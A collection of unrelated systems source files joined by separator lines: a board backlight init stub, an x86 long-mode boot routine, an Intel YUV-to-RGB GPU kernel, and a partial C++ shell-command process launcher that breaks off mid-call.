zx_status_t Sherlock::BacklightInit() {
auto status = pbus_.CompositeDeviceAdd(&backlight_dev, components, countof(components), 1);
if (status != ZX_OK) {
zxlogf(ERROR, "%s CompositeDeviceAdd failed %d\n", __FUNCTION__, status);
}
return status;
}
} // namespace sherlock
|
global start
section .text
; Currently the CPU is in protected mode so only 32 bits available
bits 32
start:
; Move Multiboot info pointer to edi to be passed into kernel_main
mov esp, stack_top
mov edi, ebx
; Point the first entry of the level 4 page table to the first entry in the
; p3 table
mov eax, p3_table
or eax, 0b11
mov dword [p4_table + 0], eax
; Point the first entry of the level 3 page table to the first entry in the
; p2 table
mov eax, p2_table
or eax, 0b11
mov dword [p3_table + 0], eax
; point each page table level two entry to a page
mov ecx, 0 ; counter variable
.map_p2_table:
mov eax, 0x200000 ; 2MiB
mul ecx
or eax, 0b10000011
mov [p2_table + ecx * 8], eax
inc ecx
cmp ecx, 512
jne .map_p2_table
; Enable the paging
; move page table address to cr3
mov eax, p4_table
mov cr3, eax
; enable PAE
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; set the long mode bit
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; enable paging
mov eax, cr0
or eax, 1 << 31
or eax, 1 << 16
mov cr0, eax
; Point the last entry in the P4 table back to itself
; AKA recursive table mapping.
mov eax, p4_table
or eax, 0b11 ; present + writable
mov [p4_table + 511 * 8], eax
; load Global Descriptor Table
lgdt [gdt64.pointer]
; update selectors
mov ax, gdt64.data
mov ss, ax
mov ds, ax
mov es, ax
; jump to long mode!
extern long_mode_start
jmp gdt64.code:long_mode_start
section .bss
align 4096
; Reserve the bytes for each table
p4_table:
resb 4096
p3_table:
resb 4096
p2_table:
resb 4096
stack_bottom:
resb 4096 * 2 ; Stack size
stack_top:
; Set up Global Descriptor Table
section .rodata
gdt64:
dq 0
.code: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53)
.data: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41)
.pointer:
dw .pointer - gdt64 - 1
dq gdt64
|
/*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Authors:
* Halley Zhao <halley.zhao@intel.com>
*/
// Module name: YUVX_Save_RGBX_Fix.asm
//----------------------------------------------------------------
#include "RGBX_Load_16x8.inc"
#if (0)
#define nTEMP0 34 // transformation coefficient
#define nTEMP1 35 // one row of R (first half register is used)
#define nTEMP2 36 // one row of G (first half register is used)
#define nTEMP3 37 // one row of B (first half register is used)
#define nTEMP4 38 // mul and add
#define nTEMP5 39 // mul and add
#define nTEMP6 40 // mul and add
#define nTEMP7 41 // mul and add
#define nTEMP8 42 // sum of mul
#define nTEMP10 44
#define nTEMP10 44 // split ub pixel to word width 1st quarter
#define nTEMP12 46 // split ub pixel to word width 2nd quarter
#define nTEMP14 48 // split ub pixel to word width 3rd quarter
#define nTEMP16 50 // split ub pixel to word width 4th quarter
#define nTEMP17 51
#define nTEMP18 52
#define nTEMP24 58 // temp using for repeat U/V in NV12_Load_8x4.asm
#endif
#define ONE_ROW_DEBUG 0
#if (ONE_ROW_DEBUG)
#define ROW_NUM 0
#define DBG_ROWNUM_BASE 1
CHANNEL_2 2
#else
#define ROW_NUM %1
$for(0; <nY_NUM_OF_ROWS; 1) {
#endif
// C = Y' - 16 D = U - 128 E = V - 128
add (16) REG2(r,nTEMP10,0)<1>:w ubDEST_RGBX(0,ROW_NUM*64 )<0;16,1> bYUV_OFF<0;4,1>:b
add (16) REG2(r,nTEMP12,0)<1>:w ubDEST_RGBX(0,ROW_NUM*64+16)<0;16,1> bYUV_OFF<0;4,1>:b
add (16) REG2(r,nTEMP14,0)<1>:w ubDEST_RGBX(0,ROW_NUM*64+32)<0;16,1> bYUV_OFF<0;4,1>:b
add (16) REG2(r,nTEMP16,0)<1>:w ubDEST_RGBX(0,ROW_NUM*64+48)<0;16,1> bYUV_OFF<0;4,1>:b
#if (ONE_ROW_DEBUG)
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64 )<1> REG2(r,nTEMP10, 0)<0;16,2>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64+16)<1> REG2(r,nTEMP12, 0)<0;16,2>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64+32)<1> REG2(r,nTEMP14, 0)<0;16,2>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64+48)<1> REG2(r,nTEMP16, 0)<0;16,2>:ub
#endif
// |Y|U|V|X|==>|R|G|B|X|
// ###### do one row for R
// #### mul and add
mul.sat (16) REG2(r, nTEMP4, 0)<1>:w REG2(r,nTEMP10,0)<0;16,1>:w wYUV_to_RGB_CH2_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP5, 0)<1>:w REG2(r,nTEMP12,0)<0;16,1>:w wYUV_to_RGB_CH2_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP6, 0)<1>:w REG2(r,nTEMP14,0)<0;16,1>:w wYUV_to_RGB_CH2_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP7, 0)<1>:w REG2(r,nTEMP16,0)<0;16,1>:w wYUV_to_RGB_CH2_Coef_Fix<0;4,1>:w
#if (ONE_ROW_DEBUG)
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+1)*64+CHANNEL_2 )<4> bYUV_to_RGB_CH2_Coef_Fix<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+1)*64+CHANNEL_2+32)<4> bYUV_to_RGB_CH2_Coef_Fix<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL_2 )<4> REG2(r,nTEMP4, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL_2+32)<4> REG2(r,nTEMP4, 8)<0;8,1>:ub
#endif
add.sat (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:uw REG2(r, nTEMP4, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:uw REG2(r, nTEMP5, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:uw REG2(r, nTEMP6, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:uw REG2(r, nTEMP7, 2)<0;4,4>:w
// #### write one row of R to rnTEMP1
mov (4) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP4, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 4)<1>:uw REG2(r, nTEMP5, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 8)<1>:uw REG2(r, nTEMP6, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 12)<1>:uw REG2(r, nTEMP7, 0)<0; 4, 4>:uw
#if (ONE_ROW_DEBUG)
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL_2 )<4> REG2(r,nTEMP8, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL_2+32)<4> REG2(r,nTEMP8, 8)<0;8,1>:ub
#endif
add.sat (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 0x80:uw
shl.sat (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 1:w
mov (16) REG2(r, nTEMP1, 0)<1>:ub REG2(r, nTEMP8, 1)<0; 16, 2>:ub
#if (ONE_ROW_DEBUG)
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL_2 )<4> REG2(r,nTEMP8, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL_2+32)<4> REG2(r,nTEMP8, 8)<0;8,1>:ub
#endif
// ###### do one row for G
// #### mul and add
mul.sat (16) REG2(r, nTEMP4, 0)<1>:w REG2(r,nTEMP10,0)<0;16,1>:w wYUV_to_RGB_CH1_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP5, 0)<1>:w REG2(r,nTEMP12,0)<0;16,1>:w wYUV_to_RGB_CH1_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP6, 0)<1>:w REG2(r,nTEMP14,0)<0;16,1>:w wYUV_to_RGB_CH1_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP7, 0)<1>:w REG2(r,nTEMP16,0)<0;16,1>:w wYUV_to_RGB_CH1_Coef_Fix<0;4,1>:w
add.sat (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:uw REG2(r, nTEMP4, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:uw REG2(r, nTEMP5, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:uw REG2(r, nTEMP6, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:uw REG2(r, nTEMP7, 2)<0;4,4>:w
// #### write one row of G to rnTEMP2
mov (4) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP4, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 4)<1>:uw REG2(r, nTEMP5, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 8)<1>:uw REG2(r, nTEMP6, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 12)<1>:uw REG2(r, nTEMP7, 0)<0; 4, 4>:uw
add (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 0x80:uw // saturation
shl.sat (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 1:w
mov (16) REG2(r, nTEMP2, 0)<1>:ub REG2(r, nTEMP8, 1)<0; 16, 2>:ub
// ###### do one row for B
// #### mul and add
mul.sat (16) REG2(r, nTEMP4, 0)<1>:w REG2(r,nTEMP10,0)<0;16,1>:w wYUV_to_RGB_CH0_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP5, 0)<1>:w REG2(r,nTEMP12,0)<0;16,1>:w wYUV_to_RGB_CH0_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP6, 0)<1>:w REG2(r,nTEMP14,0)<0;16,1>:w wYUV_to_RGB_CH0_Coef_Fix<0;4,1>:w
mul.sat (16) REG2(r, nTEMP7, 0)<1>:w REG2(r,nTEMP16,0)<0;16,1>:w wYUV_to_RGB_CH0_Coef_Fix<0;4,1>:w
// I had reduced the following add because U coef is zero for B; but in order to support BGR/RGB at the same time, I have to add it back.
add.sat (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:w REG2(r, nTEMP4, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:w REG2(r, nTEMP5, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:w REG2(r, nTEMP6, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:w REG2(r, nTEMP7, 1)<0;4,4>:w
add.sat (4) REG2(r, nTEMP4, 0)<4>:uw REG2(r, nTEMP4, 0)<0;4,4>:uw REG2(r, nTEMP4, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP5, 0)<4>:uw REG2(r, nTEMP5, 0)<0;4,4>:uw REG2(r, nTEMP5, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP6, 0)<4>:uw REG2(r, nTEMP6, 0)<0;4,4>:uw REG2(r, nTEMP6, 2)<0;4,4>:w
add.sat (4) REG2(r, nTEMP7, 0)<4>:uw REG2(r, nTEMP7, 0)<0;4,4>:uw REG2(r, nTEMP7, 2)<0;4,4>:w
// #### write one row of B to rnTEMP3
mov (4) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP4, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 4)<1>:uw REG2(r, nTEMP5, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 8)<1>:uw REG2(r, nTEMP6, 0)<0; 4, 4>:uw
mov (4) REG2(r, nTEMP8, 12)<1>:uw REG2(r, nTEMP7, 0)<0; 4, 4>:uw
add.sat (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 0x80:uw // saturation
shl.sat (16) REG2(r, nTEMP8, 0)<1>:uw REG2(r, nTEMP8, 0)<0; 16, 1>:uw 1:w
mov (16) REG2(r, nTEMP3, 0)<1>:ub REG2(r, nTEMP8, 1)<0; 16, 2>:ub
// B
mov (8) ubDEST_RGBX(0,ROW_NUM*64 )<4> REG2(r,nTEMP3, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,ROW_NUM*64+32)<4> REG2(r,nTEMP3, 8)<0;8,1>:ub
// G
mov (8) ubDEST_RGBX(0,ROW_NUM*64+1 )<4> REG2(r,nTEMP2, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,ROW_NUM*64+1+32)<4> REG2(r,nTEMP2, 8)<0;8,1>:ub
// R
mov (8) ubDEST_RGBX(0,ROW_NUM*64+2 )<4> REG2(r,nTEMP1, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,ROW_NUM*64+2+32)<4> REG2(r,nTEMP1, 8)<0;8,1>:ub
#if (!ONE_ROW_DEBUG)
}
#endif
|
#include "shellcommand.h"
#include "file.h"
#include "user.h"
#include "nice.h"
#include "sigset.h"
#include <util/folder/dirut.h>
#include <util/generic/algorithm.h>
#include <util/generic/buffer.h>
#include <util/generic/vector.h>
#include <util/generic/yexception.h>
#include <util/memory/tempbuf.h>
#include <util/network/socket.h>
#include <util/stream/pipe.h>
#include <util/stream/str.h>
#include <util/system/info.h>
#include <errno.h>
#if defined(_unix_)
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
using TPid = pid_t;
using TWaitResult = pid_t;
using TExitStatus = int;
#define WAIT_PROCEED 0
#elif defined(_win_)
#include <string>
#include "winint.h"
using TPid = HANDLE;
using TWaitResult = DWORD;
using TExitStatus = DWORD;
#define WAIT_PROCEED WAIT_TIMEOUT
#pragma warning(disable : 4296) // 'wait_result >= WAIT_OBJECT_0' : expression is always tru
#else
#error("unknown os, shell command is not implemented")
#endif
#define DBG(stmt) \
{}
// #define DBG(stmt) stmt
namespace {
constexpr static size_t DATA_BUFFER_SIZE = 128 * 1024;
#if defined(_unix_)
void ImpersonateUser(const TString& userName) {
if (GetUsername() == userName) {
return;
}
const passwd* newUser = getpwnam(userName.c_str());
if (!newUser) {
ythrow TSystemError(errno) << "getpwnam failed";
}
if (setuid(newUser->pw_uid)) {
ythrow TSystemError(errno) << "setuid failed";
}
}
#elif defined(_win_)
constexpr static size_t MAX_COMMAND_LINE = 32 * 1024;
std::wstring GetWString(const char* astring) {
if (!astring)
return std::wstring();
std::string str(astring);
return std::wstring(str.begin(), str.end());
}
std::string GetAString(const wchar_t* wstring) {
if (!wstring)
return std::string();
std::wstring str(wstring);
return std::string(str.begin(), str.end());
}
#endif
}
// temporary measure to avoid rewriting all poll calls on win TPipeHandle
#if defined(_win_)
using REALPIPEHANDLE = HANDLE;
#define INVALID_REALPIPEHANDLE INVALID_HANDLE_VALUE
class TRealPipeHandle
: public TNonCopyable {
public:
inline TRealPipeHandle() noexcept
: Fd_(INVALID_REALPIPEHANDLE)
{
}
inline TRealPipeHandle(REALPIPEHANDLE fd) noexcept
: Fd_(fd)
{
}
inline ~TRealPipeHandle() {
Close();
}
bool Close() noexcept {
bool ok = true;
if (Fd_ != INVALID_REALPIPEHANDLE)
ok = CloseHandle(Fd_);
Fd_ = INVALID_REALPIPEHANDLE;
return ok;
}
inline REALPIPEHANDLE Release() noexcept {
REALPIPEHANDLE ret = Fd_;
Fd_ = INVALID_REALPIPEHANDLE;
return ret;
}
inline void Swap(TRealPipeHandle& r) noexcept {
DoSwap(Fd_, r.Fd_);
}
inline operator REALPIPEHANDLE() const noexcept {
return Fd_;
}
inline bool IsOpen() const noexcept {
return Fd_ != INVALID_REALPIPEHANDLE;
}
ssize_t Read(void* buffer, size_t byteCount) const noexcept {
DWORD doneBytes;
if (!ReadFile(Fd_, buffer, byteCount, &doneBytes, nullptr))
return -1;
return doneBytes;
}
ssize_t Write(const void* buffer, size_t byteCount) const noexcept {
DWORD doneBytes;
if (!WriteFile(Fd_, buffer, byteCount, &doneBytes, nullptr))
return -1;
return doneBytes;
}
static void Pipe(TRealPipeHandle& reader, TRealPipeHandle& writer) {
REALPIPEHANDLE fds[2];
if (!CreatePipe(&fds[0], &fds[1], nullptr, 0))
ythrow TFileError() << "failed to create a pipe";
TRealPipeHandle(fds[0]).Swap(reader);
TRealPipeHandle(fds[1]).Swap(writer);
}
private:
REALPIPEHANDLE Fd_;
};
#else
using TRealPipeHandle = TPipeHandle;
using REALPIPEHANDLE = PIPEHANDLE;
#define INVALID_REALPIPEHANDLE INVALID_PIPEHANDLE
#endif
class TShellCommand::TImpl
: public TAtomicRefCount<TShellCommand::TImpl> {
private:
TPid Pid;
TString Command;
TList<TString> Arguments;
TString WorkDir;
TShellCommand::ECommandStatus ExecutionStatus;
TMaybe<int> ExitCode;
IInputStream* InputStream;
IOutputStream* OutputStream;
IOutputStream* ErrorStream;
TString CollectedOutput;
TString CollectedError;
TString InternalError;
TThread* WatchThread;
TMutex TerminateMutex;
/// @todo: store const TShellCommandOptions, no need for so many vars
bool TerminateFlag;
bool ClearSignalMask;
bool CloseAllFdsOnExec;
bool AsyncMode;
size_t PollDelayMs;
bool UseShell;
bool QuoteArguments;
bool DetachSession;
bool CloseStreams;
TAtomic ShouldCloseInput;
TShellCommandOptions::TUserOptions User;
THashMap<TString, TString> Environment;
int Nice;
struct TProcessInfo {
TImpl* Parent;
TRealPipeHandle InputFd;
TRealPipeHandle OutputFd;
TRealPipeHandle ErrorFd;
TProcessInfo(TImpl* parent, REALPIPEHANDLE inputFd, REALPIPEHANDLE outputFd, REALPIPEHANDLE errorFd)
: Parent(parent)
, InputFd(inputFd)
, OutputFd(outputFd)
, ErrorFd(errorFd)
{
}
};
struct TPipes {
TRealPipeHandle OutputPipeFd[2];
TRealPipeHandle ErrorPipeFd[2];
TRealPipeHandle InputPipeFd[2];
// pipes are closed by automatic dtor
void PrepareParents() {
OutputPipeFd[1].Close();
ErrorPipeFd[1].Close();
#if defined(_unix_)
// not really needed, io is done via poll
SetNonBlock(OutputPipeFd[0]);
SetNonBlock(ErrorPipeFd[0]);
if (InputPipeFd[1].IsOpen())
SetNonBlock(InputPipeFd[1]);
#endif
if (InputPipeFd[1].IsOpen())
InputPipeFd[0].Close();
}
void ReleaseParents() {
InputPipeFd[1].Release();
OutputPipeFd[0].Release();
ErrorPipeFd[0].Release();
}
};
struct TPipePump {
TRealPipeHandle* Pipe;
IOutputStream* OutputStream;
IInputStream* InputStream;
TAtomic* ShouldClosePipe;
TString InternalError;
};
private:
TString GetQuotedCommand() const;
#if defined(_unix_)
void OnFork(TPipes& pipes, sigset_t oldmask, char* const* argv, char* const* envp) const;
#else
void StartProcess(TPipes& pipes);
#endif
public:
inline TImpl(const TStringBuf cmd, const TList<TString>& args, const TShellCommandOptions& options, const TString& workdir)
: Pid(0)
, Command(cmd.ToString())
, Arguments(args)
, WorkDir(workdir)
, ExecutionStatus(SHELL_NONE)
, InputStream(options.InputStream)
, OutputStream(options.OutputStream)
, ErrorStream(options.ErrorStream)
, WatchThread(nullptr)
, TerminateFlag(false)
, ClearSignalMask(options.ClearSignalMask)
, CloseAllFdsOnExec(options.CloseAllFdsOnExec)
, AsyncMode(options.AsyncMode)
, PollDelayMs(options.PollDelayMs)
, UseShell(options.UseShell)
, QuoteArguments(options.QuoteArguments)
, DetachSession(options.DetachSession)
, CloseStreams(options.CloseStreams)
, ShouldCloseInput(options.ShouldCloseInput)
, User(options.User)
, Environment(options.Environment)
, Nice(options.Nice)
{
}
inline ~TImpl() {
if (WatchThread) {
with_lock (TerminateMutex) {
TerminateFlag = true;
}
delete WatchThread;
}
#if defined(_win_)
if (Pid) {
CloseHandle(Pid);
}
#endif
}
inline void AppendArgument(const TStringBuf argument) {
if (ExecutionStatus == SHELL_RUNNING) {
ythrow yexception() << "You cannot change command parameters while process is running";
}
Arguments.push_back(argument.ToString());
}
inline const TString& GetOutput() const {
if (ExecutionStatus == SHELL_RUNNING) {
ythrow yexception() << "You cannot retrieve output while process is running.";
}
return CollectedOutput;
}
inline const TString& GetError() const {
if (ExecutionStatus == SHELL_RUNNING) {
ythrow yexception() << "You cannot retrieve output while process is running.";
}
return CollectedError;
}
inline const TString& GetInternalError() const {
if (ExecutionStatus != SHELL_INTERNAL_ERROR) {
ythrow yexception() << "Internal error hasn't occured so can't be retrieved.";
}
return InternalError;
}
inline ECommandStatus GetStatus() const {
return ExecutionStatus;
}
inline TMaybe<int> GetExitCode() const {
return ExitCode;
}
inline TProcessId GetPid() const {
#if defined(_win_)
return GetProcessId(Pid);
#else
return Pid;
#endif
}
// start child process
void Run();
inline void Terminate() {
if (!!Pid && (ExecutionStatus == SHELL_RUNNING)) {
bool ok =
#if defined(_unix_)
kill(DetachSession ? -1 * Pid : Pid, SIGTERM) == 0;
if (!ok && (errno == ESRCH) && DetachSession) {
// this could fail when called before child proc completes setsid().
ok = kill(Pid, SIGTERM) == 0;
kill(-Pid, SIGTERM); // between a failed kill(-Pid) and a successful kill(Pid) a grandchild could have been spawned
}
#else
TerminateProcess(Pid, 1 /* exit code */);
#endif
if (!ok)
ythrow TSystemError() << "cannot terminate " << Pid;
}
}
inline void Wait() {
if (WatchThread)
WatchThread->Join();
}
inline void CloseInput() {
AtomicSet(ShouldCloseInput, true);
}
inline static bool TerminateIsRequired(void* processInfo) {
TProcessInfo* pi = reinterpret_cast<TProcessInfo*>(processInfo);
if (!pi->Parent->TerminateFlag) {
return false;
}
pi->InputFd.Close();
pi->ErrorFd.Close();
pi->OutputFd.Close();
if (pi->Parent->CloseStreams) {
if (pi->Parent->ErrorStream)
pi->Parent->ErrorStream->Finish();
if (pi->Parent->OutputStream)
pi->Parent->OutputStream->Finish();
}
delete pi;
return true;
}
// interchange io while process is alive
inline static void Communicate(TProcessInfo* pi);
inline static void* WatchProcess(void* data) {
TProcessInfo* pi = reinterpret_cast<TProcessInfo*>(data);
Communicate(pi);
return nullptr;
}
inline static void* ReadStream(void* data) noexcept {
TPipePump* pump = reinterpret_cast<TPipePump*>(data);
try {
int bytes = 0;
TBuffer buffer(DATA_BUFFER_SIZE);
while (true) {
bytes = pump->Pipe->Read(buffer.Data(), buffer.Capacity());
if (bytes > 0)
pump->OutputStream->Write(buffer.Data(), bytes);
else
break;
}
if (pump->Pipe->IsOpen())
pump->Pipe->Close();
} catch (...) {
pump->InternalError = CurrentExceptionMessage();
}
return nullptr;
}
inline static void* WriteStream(void* data) noexcept {
TPipePump* pump = reinterpret_cast<TPipePump*>(data);
try {
int bytes = 0;
int bytesToWrite = 0;
char* bufPos = nullptr;
TBuffer buffer(DATA_BUFFER_SIZE);
while (true) {
if (!bytesToWrite) {
bytesToWrite = pump->InputStream->Read(buffer.Data(), buffer.Capacity());
if (bytesToWrite == 0) {
if (AtomicGet(pump->ShouldClosePipe))
break;
continue;
}
bufPos = buffer.Data();
}
bytes = pump->Pipe->Write(bufPos, bytesToWrite);
if (bytes > 0) {
bytesToWrite -= bytes;
bufPos += bytes;
} else {
break;
}
}
if (pump->Pipe->IsOpen())
pump->Pipe->Close();
} catch (...) {
pump->InternalError = CurrentExceptionMessage();
}
return nullptr;
}
};
#if defined(_win_)
void TShellCommand::TImpl::StartProcess(TShellCommand::TImpl::TPipes& pipes) {
// Setup STARTUPINFO to redirect handles.
STARTUPINFOW startup_info;
ZeroMemory(&startup_info, sizeof(startup_info));
startup_info.cb = sizeof(startup_info);
startup_info.dwFlags = STARTF_USESTDHANDLES;
if (!SetHandleInformation(pipes.OutputPipeFd[1], HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT) || !SetHandleInformation(pipes.ErrorPipeFd[1], HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT))
ythrow TSystemError() << "cannot set handle info";
if (InputStream)
if (!SetHandleInformation(pipes.InputPipeFd[0], HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT))
ythrow TSystemError() << "cannot set handle info";
// A sockets do not work as std streams for some reason
startup_info.hStdOutput = pipes.OutputPipeFd[1];
startup_info.hStdError = pipes.ErrorPipeFd[1];
if (InputStream)
startup_info.hStdInput = pipes.InputPipeFd[0];
else
// Don't leave hStdInput unfilled, otherwise any attempt to retrieve the operating-system file handle
// that is associated with the specified file descriptor will led to errors.
startup_info.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
PROCESS_INFORMATION process_info;
// TString cmd = "cmd /U" + TUtf16String can be used to read unicode messages from cmd
// /A - ansi charset /Q - echo off, /C - command, /Q - special quotes
TString qcmd = GetQuotedCommand();
TString cmd = UseShell ? "cmd /A /Q /S /C \"" + qcmd + "\"" : qcmd;
// winapi can modify command text, copy it
Y_ENSURE_EX(cmd.size() < MAX_COMMAND_LINE, yexception() << "Command is too long (length=" << cmd.size() << ")");
TTempArray<wchar_t> cmdcopy(MAX_COMMAND_LINE);
Copy(cmd.data(), cmd.data() + cmd.size(), cmdcopy.Data());
*(cmdcopy.Data() + cmd.size()) = 0;
const wchar_t* cwd = NULL;
std::wstring cwdBuff;
if (WorkDir.size()) {
cwdBuff = GetWString(WorkDir.data());
cwd = cwdBuff.c_str();
}
void* lpEnvironment = nullptr;
TString env;
if (!Environment.empty()) {
for (auto e = Environment.begin(); e != Environment.end(); ++e) {
env += e->first + '=' + e->second + '\0';
}
env += '\0';
lpEnvironment = const_cast<char*>(env.data());
}
// disable messagebox (may be in debug too)
#ifndef NDEBUG
SetErrorMode(GetErrorMode() | SEM_NOGPFAULTERRORBOX);
#endif
BOOL res = 0;
if (User.Name.empty() || GetUsername() == User.Name) {
res = CreateProcessW(
nullptr, // image name
cmdcopy.Data(),
nullptr, // process security attributes
nullptr, // thread security attributes
TRUE, // inherit handles - needed for IO, CloseAllFdsOnExec not respected
0, // obscure creation flags
lpEnvironment, // environment
cwd, // current directory
&startup_info,
&process_info);
} else {
res = CreateProcessWithLogonW(
